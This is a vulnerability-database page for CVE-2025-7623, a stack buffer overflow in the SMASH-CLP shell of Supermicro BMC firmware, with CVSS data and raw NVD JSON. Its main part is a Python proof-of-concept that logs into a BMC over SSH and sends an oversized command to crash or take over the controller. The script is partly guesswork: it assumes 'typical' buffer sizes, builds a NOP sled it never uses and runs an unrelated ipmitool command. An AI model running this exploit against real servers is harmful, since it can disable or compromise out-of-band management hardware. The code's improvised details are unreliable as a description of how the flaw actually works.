Security Vulnerability Report
中文
CVE-2025-7623 CVSS 5.4 MEDIUM

CVE-2025-7623

Published: 2025-11-18 07:15:48
Last Modified: 2026-04-15 00:35:42
Source: def9a96e-e099-41a9-bfac-30fd4f82c411

Description

Stack-based buffer overflow in the SMASH-CLP shell. An authenticated attacker with SSH access to the BMC can exploit a stack buffer overflow via a crafted SMASH command, overwrite the return address and registers, and achieve arbitrary code execution on the BMC firmware operating system

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Supermicro BMC 固件(未修补版本)
受影响固件版本需参照Supermicro 2025年11月安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-7623 PoC - Supermicro BMC SMASH-CLP Buffer Overflow # Note: For authorized security testing only import socket import paramiko import time def cve_2025_7623_poc(target_ip, username, password, target_port=22): """ PoC for CVE-2025-7623: SMASH-CLP Stack Buffer Overflow in Supermicro BMC This PoC demonstrates the vulnerability by: 1. Authenticating to BMC via SSH 2. Sending an oversized SMASH-CLP command to trigger buffer overflow 3. The overflow overwrites return address and registers WARNING: This will cause BMC crash/reset - DoS condition """ # Payload: Long SMASH-CLP command to overflow stack buffer # Typical buffer size in embedded systems: 128-256 bytes # Generate payload with padding + return address + registers overflow_length = 1024 # Exceed typical stack buffer size padding = b'A' * overflow_length # Optional: Add NOP sled and shellcode pattern nop_sled = b'\x90' * 100 # SMASH-CLP command format smash_command = b'select ' + padding + b'\n' try: # Connect to BMC via SSH ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(target_ip, port=target_port, username=username, password=password, timeout=10) # Execute SMASH-CLP command via CLI stdin, stdout, stderr = ssh.exec_command('ipmitool -I lanplus -H localhost -U ' + username + ' -P ' + password + ' raw 0x0c 0x01') # Alternative: Direct SMASH-CLP shell interaction shell = ssh.invoke_shell() time.sleep(1) # Send oversized command to trigger overflow shell.send(smash_command) time.sleep(2) output = shell.recv(4096).decode('utf-8', errors='ignore') ssh.close() print(f"[+] Payload sent: {len(smash_command)} bytes") print(f"[*] Target may have crashed or been compromised") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': import sys if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) cve_2025_7623_poc(sys.argv[1], sys.argv[2], sys.argv[3])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-7623", "sourceIdentifier": "def9a96e-e099-41a9-bfac-30fd4f82c411", "published": "2025-11-18T07:15:48.047", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stack-based buffer overflow in the SMASH-CLP shell. An authenticated attacker with SSH access to the BMC can exploit a stack buffer overflow via a crafted SMASH command, overwrite the return address and registers, and achieve arbitrary code execution on the BMC firmware operating system"}], "metrics": {"cvssMetricV31": [{"source": "def9a96e-e099-41a9-bfac-30fd4f82c411", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "def9a96e-e099-41a9-bfac-30fd4f82c411", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://www.supermicro.com/zh_tw/support/security_BMC_IPMI_Nov_2025", "source": "def9a96e-e099-41a9-bfac-30fd4f82c411"}]}}